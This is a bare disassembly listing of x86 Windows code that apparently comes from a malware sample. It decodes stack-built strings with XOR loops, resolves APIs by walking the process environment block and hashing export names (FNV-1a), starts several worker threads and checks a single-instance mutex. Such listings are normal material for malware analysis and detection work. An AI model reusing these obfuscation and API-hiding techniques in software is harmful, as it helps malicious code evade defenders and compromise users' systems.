mov byte [ebp - 0x118], 0xf7
mov byte [ebp - 0x117], 0xe1
mov byte [ebp - 0x116], 0xf5
mov byte [ebp - 0x115], 0xfe
mov byte [ebp - 0x114], 0xc7
mov byte [ebp - 0x113], 0xf7
mov byte [ebp - 0x112], 0xfb
mov byte [ebp - 0x111], 0xc7
mov byte [ebp - 0x110], 0xc5
mov byte [ebp - 0x10f], 0xd4
mov byte [ebp - 0x10e], 0xab
mov al, byte [ebp - 0x118]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x118]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa5e50f99
cmp ecx, 0xf
mov edx, 0x8e198851
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x67]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x118], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xb
jb 0x485cd0
lea eax, [ebp - 0x118]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x60]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x60]
xor edx, edx
mov byte [0x56eb38], al
mov byte [ebp - 0x167], 0x67
mov byte [ebp - 0x166], 0x74
mov byte [ebp - 0x165], 0x6a
mov byte [ebp - 0x164], 0x6d
mov byte [ebp - 0x163], 0x5e
mov byte [ebp - 0x162], 0x69
mov byte [ebp - 0x161], 0x61
mov byte [ebp - 0x160], 0x76
mov byte [ebp - 0x15f], 0x72
mov byte [ebp - 0x15e], 0x68
mov byte [ebp - 0x15d], 0x6f
mov byte [ebp - 0x15c], 0x78
mov byte [ebp - 0x15b], 0x76
mov byte [ebp - 0x15a], 0x63
mov byte [ebp - 0x159], 0x6e
mov byte [ebp - 0x158], 0x15
mov al, byte [ebp - 0x167]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x167]
mov ecx, edx
and ecx, 0xf
mov eax, 0x9fe87c05
cmp ecx, 0xf
mov edx, 0x1e32fe3c
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 5]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x167], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x10
jb 0x485db0
lea eax, [ebp - 0x167]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x61]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x61]
xor edx, edx
mov byte [0x56eb58], al
mov byte [ebp - 0xf2], 7
mov byte [ebp - 0xf1], 0x1e
mov byte [ebp - 0xf0], 0xd
mov byte [ebp - 0xef], 0xe
mov byte [ebp - 0xee], 0x34
mov byte [ebp - 0xed], 0x19
mov byte [ebp - 0xec], 0x11
mov byte [ebp - 0xeb], 0x15
mov byte [ebp - 0xea], 0x70
mov al, byte [ebp - 0xf2]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xf2]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbe160769
cmp ecx, 0xf
mov edx, 0x2e603141
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xf2], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x485e60
lea eax, [ebp - 0xf2]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x53]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x53]
xor edx, edx
mov byte [0x56eb57], al
mov byte [ebp - 0xfb], 0x15
mov byte [ebp - 0xfa], 0x1f
mov byte [ebp - 0xf9], 9
mov byte [ebp - 0xf8], 0x33
mov byte [ebp - 0xf7], 3
mov byte [ebp - 0xf6], 0x19
mov byte [ebp - 0xf5], 0xf
mov byte [ebp - 0xf4], 0x18
mov byte [ebp - 0xf3], 0x70
mov al, byte [ebp - 0xfb]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xfb]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbe160769
cmp ecx, 0xf
mov edx, 0x2e603141
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xfb], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x485f10
lea eax, [ebp - 0xfb]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x54]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x54]
mov byte [0x570f56], al
jmp 0x485f7a
mov al, byte [0x570f56]
cmp byte [0x570f57], 0
jne 0x48736a
call fcn.00460850
call fcn.004663b0
mov ecx, 0x571018
call fcn.00487e10
mov ecx, 0x5710ac
call fcn.00487e10
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4673e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x469c10
push 0
push 0
mov dword [ebp - 0x88], eax
call esi
push 0
push 0
push 0
push 0x476e80
push 0
push 0
mov dword [ebp - 0x8c], eax
call esi
mov dword [ebp - 0x90], eax
call fcn.0044d590
test al, al
je 0x4861da
lea ecx, [ebp - 0x298]
call fcn.0044daa0
mov esi, eax
mov byte [ebp - 4], 0x6b
xor edx, edx
mov byte [ebp - 0x9b], 0x3c
mov byte [ebp - 0x9a], 0x38
mov byte [ebp - 0x99], 0x32
mov byte [ebp - 0x98], 0x37
mov byte [ebp - 0x97], 0x38
mov byte [ebp - 0x96], 0x21
mov byte [ebp - 0x95], 0x5a
mov al, byte [ebp - 0x9b]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x9b]
mov ecx, edx
and ecx, 0xf
mov eax, 0xfd43a651
cmp ecx, 0xf
mov edx, 0xf26376ea
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x51]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x9b], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x486050
lea eax, [ebp - 0x9b]
mov ecx, esi
push eax
call fcn.0048f530
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00488890
mov byte [ebp - 4], 0x6c
xor edx, edx
mov byte [ebp - 0x104], 0x36
mov byte [ebp - 0x103], 0xd
mov byte [ebp - 0x102], 0x19
mov byte [ebp - 0x101], 0
mov byte [ebp - 0x100], 0x1f
mov byte [ebp - 0xff], 0x30
mov byte [ebp - 0xfe], 0x28
mov byte [ebp - 0xfd], 0x3e
mov byte [ebp - 0xfc], 0x70
mov al, byte [ebp - 0x104]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x104]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbe160769
cmp ecx, 0xf
mov edx, 0x2e603141
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x104], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x486100
lea eax, [ebp - 0x104]
mov ecx, 0x5710c8
push eax
call fcn.0048f530
mov edi, eax
mov byte [ebp - 4], 0x6d
mov dl, byte [edi]
mov cl, byte [ebp - 0x1a0]
mov byte [edi], cl
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x194]
mov byte [ebp - 0x1a0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x194], esi
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x198]
push dword [ebp - 0x1a0]
call fcn.0048c330
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x290]
push dword [ebp - 0x298]
call fcn.0048c330
cmp byte [0x570f55], 0
je 0x4861d5
mov eax, dword [0x570f40]
test eax, eax
je 0x4861ce
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [0x570f55], 0
mov edi, 0xf
lea ecx, [ebp - 0x2a8]
call fcn.0044f380
mov esi, eax
mov byte [ebp - 4], 0x6e
xor edx, edx
mov byte [ebp - 0xa2], 0x3c
mov byte [ebp - 0xa1], 0x38
mov byte [ebp - 0xa0], 0x32
mov byte [ebp - 0x9f], 0x37
mov byte [ebp - 0x9e], 0x38
mov byte [ebp - 0x9d], 0x21
mov byte [ebp - 0x9c], 0x5a
mov al, byte [ebp - 0xa2]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xa2]
mov ecx, edx
and ecx, 0xf
mov eax, 0xfd43a651
cmp ecx, 0xf
mov edx, 0xf26376ea
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x51]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xa2], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x486230
lea eax, [ebp - 0xa2]
mov ecx, esi
push eax
call fcn.0048f530
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00488890
mov byte [ebp - 4], 0x6f
xor edx, edx
mov byte [ebp - 0x17a], 0x67
mov byte [ebp - 0x179], 0x50
mov byte [ebp - 0x178], 0x59
mov byte [ebp - 0x177], 0x5c
mov byte [ebp - 0x176], 0x54
mov byte [ebp - 0x175], 0x48
mov byte [ebp - 0x174], 0x40
mov byte [ebp - 0x173], 0
mov byte [ebp - 0x172], 0x37
mov byte [ebp - 0x171], 0x25
mov byte [ebp - 0x170], 0x24
mov byte [ebp - 0x16f], 0x26
mov byte [ebp - 0x16e], 0x20
mov byte [ebp - 0x16d], 0x35
mov byte [ebp - 0x16c], 0x2d
mov byte [ebp - 0x16b], 0x26
mov byte [ebp - 0x16a], 0x2c
mov byte [ebp - 0x169], 0x3a
mov byte [ebp - 0x168], 0x47
mov al, byte [ebp - 0x17a]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x17a]
mov ecx, edx
and ecx, 0xf
mov eax, 0x3c164c39
cmp ecx, 0xf
mov edx, 0xf37b7324
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x39]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x17a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x13
jb 0x486320
lea eax, [ebp - 0x17a]
mov ecx, 0x5710c8
push eax
call fcn.0048f530
mov edi, eax
mov byte [ebp - 4], 0x70
mov dl, byte [edi]
mov cl, byte [ebp - 0x1b0]
mov byte [edi], cl
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1a4]
mov byte [ebp - 0x1b0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x1a8], edx
mov dword [ebp - 0x1a4], esi
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x1a8]
push dword [ebp - 0x1b0]
call fcn.0048c330
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x2a0]
push dword [ebp - 0x2a8]
call fcn.0048c330
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x48644a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x48644a
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486443
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486426
cmp esi, 0x71948ca4
je 0x48644e
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486411
mov eax, dword [eax]
jmp 0x4863e1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x493e0
push dword [ebp - 0x88]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x83
push 0x4f41ea64
call fcn.00411ed0
add esp, 8
push eax
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x486509
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x486509
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486502
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4864e5
cmp esi, 0x71948ca4
je 0x48650d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4864d0
mov eax, dword [eax]
jmp 0x4864a0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x493e0
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4865a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4865a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4865a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486585
cmp esi, 0xfaba0065
je 0x4865ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486570
mov eax, dword [eax]
jmp 0x486540
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x88]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x486649
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x486649
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486642
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486625
cmp esi, 0xfaba0065
je 0x48664d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486610
mov eax, dword [eax]
jmp 0x4865e0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x8c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4866e9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4866e9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4866e2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4866c5
cmp esi, 0xfaba0065
je 0x4866ed
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4866b0
mov eax, dword [eax]
jmp 0x486680
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x477930
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x479d10
push 0
push 0
mov dword [ebp - 0x90], eax
call ebx
push 0
push 0
push 0
push 0x47cd40
push 0
push 0
mov dword [ebp - 0x8c], eax
call ebx
push 0
push 0
push 0
push 0x47ea90
push 0
push 0
mov dword [ebp - 0x88], eax
call ebx
push 0
push 0
push 0
push 0x481a70
push 0
push 0
mov dword [ebp - 0x10], eax
call ebx
push 0
push 0
push 0
push 0x481e40
push 0
push 0
mov dword [ebp - 0x5c], eax
call ebx
push 0
push 0
push 0
push 0x483510
push 0
push 0
mov dword [ebp - 0x20], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x14], eax
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x56eb74
call fcn.0048ac50
mov byte [ebp - 4], 0x71
sub esp, 0x18
lea eax, [ebp - 0x368]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ac50
mov byte [ebp - 4], 0x72
sub esp, 0x18
lea eax, [ebp - 0x380]
mov dword [ebp - 0x94], esp
mov ecx, esp
push eax
call fcn.0048ac50
mov byte [ebp - 4], 0x73
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x56eb8c
call fcn.0048ac50
mov byte [ebp - 4], 0x74
mov byte [ebp - 4], 0x6a
call fcn.00416de0
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x1c], ecx
cmp ecx, esi
je 0x486889
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x486889
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486882
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486865
cmp esi, 0x71948ca4
je 0x48688d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486850
mov eax, dword [eax]
jmp 0x486820
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
push 0x493e0
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x486929
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x486929
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486922
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486905
cmp esi, 0x71948ca4
je 0x48692d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4868f0
mov eax, dword [eax]
jmp 0x4868c0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x8c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x88]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x4869d9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4869d9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4869d2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4869b5
cmp esi, 0x71948ca4
je 0x4869dd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4869a0
mov eax, dword [eax]
jmp 0x486970
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x486a89
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x486a89
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486a82
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486a65
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486a50
mov eax, dword [eax]
jmp 0x486a20
test al, al
je 0x487379
cmp byte [ebp - 0x29], 0
jne 0x487379
call fcn.00425f90
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x4fc]
call fcn.004879e0
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x504]
call fcn.00487a60
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x1e0]
call fcn.0040b870
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x380]
call fcn.0042eca0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x570f56], 0
je 0x4875fa
cmp byte [ebp - 0x29], 0
je 0x4875fa
mov byte [ebp - 0x10d], 0x13
xor edx, edx
mov byte [ebp - 0x10c], 0x1c
mov esi, 0xf
mov byte [ebp - 0x10b], 0xd
mov byte [ebp - 0x10a], 0x1e
mov byte [ebp - 0x109], 0
mov byte [ebp - 0x108], 2
mov byte [ebp - 0x107], 0xe
mov byte [ebp - 0x106], 0x1f
mov byte [ebp - 0x105], 0x70
mov al, byte [ebp - 0x10d]
mov dword [ebp - 0x14], edx
nop
mov bl, byte [ebp + edx - 0x10d]
mov ecx, edx
and ecx, esi
mov eax, 0xbe160769
cmp ecx, esi
mov edx, 0x2e603141
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x10d], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x487430
push 0x56ebbc
lea edx, [ebp - 0x10d]
lea ecx, [ebp - 0x4e8]
call fcn.0048f290
add esp, 4
mov byte [ebp - 4], 0xa5
mov ecx, eax
call fcn.0040ba70
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0x4e8]
call fcn.0040b870
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4874d1
xor esi, esi
jmp 0x487784
mov byte [ebp - 0xb4], 0x28
xor edx, edx
mov byte [ebp - 0xb3], 0x3a
mov byte [ebp - 0xb2], 0x22
mov byte [ebp - 0xb1], 0x2f
mov byte [ebp - 0xb0], 0x45
mov byte [ebp - 0xaf], 0xb
mov byte [ebp - 0xae], 0xd
mov byte [ebp - 0xad], 0x17
mov byte [ebp - 0xac], 0x70
mov al, byte [ebp - 0xb4]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0xb4]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbe160769
cmp ecx, 0xf
mov edx, 0x2e603141
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xb4], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x487520
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x94], esi
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0040bbc0
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0xb4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487585
sub ecx, edx
lea eax, [ebp - 0xb4]
push ecx
push eax
mov ecx, esi
call fcn.0040bb00
mov byte [ebp - 4], 0xb1
mov byte [ebp - 4], 0x1e
call fcn.0042ff50
mov ecx, dword [0x571134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x571130]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
